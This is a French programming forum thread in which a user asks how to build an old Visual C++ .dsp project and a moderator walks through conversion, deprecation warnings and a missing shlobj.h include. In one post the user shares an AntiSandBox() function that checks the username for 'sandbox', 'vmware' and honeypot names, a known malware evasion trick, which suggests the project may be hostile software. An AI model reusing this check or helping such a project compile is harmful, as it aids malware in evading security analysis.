IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C Discussion :

Logiciel compiler un fichier .dsp


Sujet :

C

  1. #1
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut Logiciel compiler un fichier .dsp
    Bonjour, j'avais créer un fichier .dsp il y a longtemps mais je ne lavais pas compilé. Je veux alors maintenant le compiler. Mon fichier search.dsp avec toute les .h etc.
    Avec quel logiciel je peux compiler un fichier .dsp jai essayé avec visual basic 6 mais sa ne marche pas.

    Merci
    Cordialement
    Math

  2. #2
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Salut et bienvenue sur le forum,

    Les fichiers .dsp sont des fichiers de projet visual C++. Donc tu peux l'ouvrir avec ce logiciel. Si tu as par exemple crée ton projet avec visual C++ 6 tu peux l'ouvrir avec cette version ou une version plus recente mais pas anterieur à VC++ 6. Pour les versions plus recente tu as un assitant qui converti ton projet visual 6 en projet compatible avec la version superieur utilisé.

    PS : c'est normal que visual basic 6 ne sache pas compilé du code C++.
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  3. #3
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    ok héhé merci pour la bienvenue.

    J'ai visual c++. Quand j'ouvre mon projet il me demande de le convertir , je fais alors oui et ensuite quand je fais build. Il a plein d'erreur, mais pourtant mon code est intact.



    Merci

  4. #4
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Peux tu nous preciser ses erreurs ?
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  5. #5
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    Warning 93 warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. C:\Documents and Settings\Mathieu\Bureau\search\main.cpp 993 search





    Elle se répète 120 cette erreur.

    Lorsque je build le search.dsp

    Quel est le problème ?


    Merci

  6. #6
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Ceci n'est pas une erreur mais un warning. Donc si tu as uniquement ce type de message ton code devrait compiler ou alors regarde ou il y a marqué error et non warning. Apres ce warning signifie que tu utilises la fonction _snprintf et qu'elle est considéré comme déprécié et qu'il vaudrait mieux utiliser la fonction _snprintf_s à la place. Cependant cela n'est pas obligatoire mais conseiller.
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  7. #7
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    mais pourquoi lorsque je fais build, je ne vois aucun fichier .exe ?

    Ah oui dsl j'ai une erreur sauf cest quoi au juste


    error C3861: 'SHGetfolderpath : identifier not found

  8. #8
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Il doit manquer le .h dans le code d'apres la doc ici c'est shlobj.h. Apres c'est une fonction dépréciée comme _snprintf mais cela devrait marcher quand meme. Sinon tu peux remplacer par la fonction que te preconise la doc (cf lien plus haut).
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  9. #9
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    TCHAR szPath[MAX_PATH];
     
    if(SUCCEEDED(SHGetFolderPath(NULL, 
                                 CSIDL_PERSONAL|CSIDL_FLAG_CREATE, 
                                 NULL, 
                                 0, 
                                 szPath))) 
    {
        PathAppend(szPath, TEXT("New Doc.txt"));
        HANDLE hFile = CreateFile(szPath, ...);
    }


    jai ça dans mon fichier.
    Mais je comprend pas ce que tu veux dire ? Il me manque un fichier .h ?


    Cest quoi je dois créer comme fichier .h et quoi mettre dedant ?

  10. #10
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Tu as un fichier .c ou .cpp ou tu as trouver le code ci dessous :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    TCHAR szPath[MAX_PATH];
     
    if(SUCCEEDED(SHGetFolderPath(NULL, 
    CSIDL_PERSONAL|CSIDL_FLAG_CREATE, 
    NULL, 
    0, 
    szPath))) 
    {
    PathAppend(szPath, TEXT("New Doc.txt"));
    HANDLE hFile = CreateFile(szPath, ...);
    }
    Dans ce fichier tu mets tout en haut au debut du fichier ceci:
    Puis tu fais un build.
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  11. #11
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    ok merci sauf le problème c'est que je ne vois aucun fichier shlobj.h dans mon dossier.

    Je veux savoir quest qui faut mettre dans se fichier , car je vais le créer. Ce serais très gentil.


    Cordialement
    Math

  12. #12
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Cela n'est pas grave. As tu essayé quand meme ?
    Si cela ne marche pas dis moi si l'erreur a changer ou pas.
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  13. #13
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    Il reste avec la même erreur

  14. #14
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    Citation Envoyé par mathgamer18 Voir le message
    ok merci sauf le problème c'est que je ne vois aucun fichier shlobj.h dans mon dossier.

    Je veux savoir quest qui faut mettre dans se fichier , car je vais le créer. Ce serais très gentil.


    Cordialement
    Math
    Normalement tu n'as pas à le créer c'est le fichier d'en-tete qui correspond a la fonction SHGetFolderPath d'apres la doc MSDN ici.

    J'ai repris ton code sous visual C++ 2008 et j'ai eu uniquement besoin d'inclure comme preciser dans le message precedent le fichier shlobj.h.

    Peux tu me montrer peut etre juste le debut de ton .c pour que je vois comme tu as inclue le fichier shlobj.h.
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

  15. #15
    Membre habitué
    Profil pro
    Inscrit en
    Mai 2009
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mai 2009
    Messages : 11
    Par défaut
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #include "include.h"
    #include <shlobj.h>
     
     
    BOOL AntiSandBox()
    {
    	char *users[] = {"sandbox", "honey", "vmware", "currentuser", "nepenthes"};
    	DWORD size = 128;
    	char szUser[128];
    	int i;
     
    	GetUserName(szUser, &size);
    	CharLower(szUser);
     
    	for (i = 0; i <	(sizeof(users) / sizeof(LPTSTR)); i++)
    	{
    		if (strstr(szUser, users[i]) != 0)
    			 return TRUE;
    	}
     
    	return FALSE;
    }

  16. #16
    Rédacteur

    Inscrit en
    Novembre 2006
    Messages
    1 272
    Détails du profil
    Informations forums :
    Inscription : Novembre 2006
    Messages : 1 272
    Par défaut
    C'est bien dans ce fichier que ce trouve une fonction qui utilise SHGetFolderPath. Sinon tu peux essayer de mettre #include <shlobj.h> dans ton fichier include.h. En esperant que cela fonctionne car là j'ai plus trop d'idée...
    Vous voulez participer aux Tutoriels, FAQ ou Traductions et faire partie de l'équipe Qt de Developpez.
    N'hésitez pas à me contacter par MP.

Discussions similaires

  1. [MASM] Compiler un fichier .sys ?
    Par - Robby - dans le forum x86 16-bits
    Réponses: 12
    Dernier message: 08/01/2008, 11h28
  2. Les logiciels pour compiler des fichiers HTML en fichiers d’
    Par Edoxituz dans le forum Balisage (X)HTML et validation W3C
    Réponses: 6
    Dernier message: 23/02/2006, 17h02
  3. [logiciel] Réparation de fichiers ?
    Par Guybrush113 dans le forum Autres Logiciels
    Réponses: 10
    Dernier message: 17/12/2004, 15h18
  4. Réponses: 1
    Dernier message: 18/06/2004, 01h12
  5. Réponses: 2
    Dernier message: 25/10/2002, 22h19

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo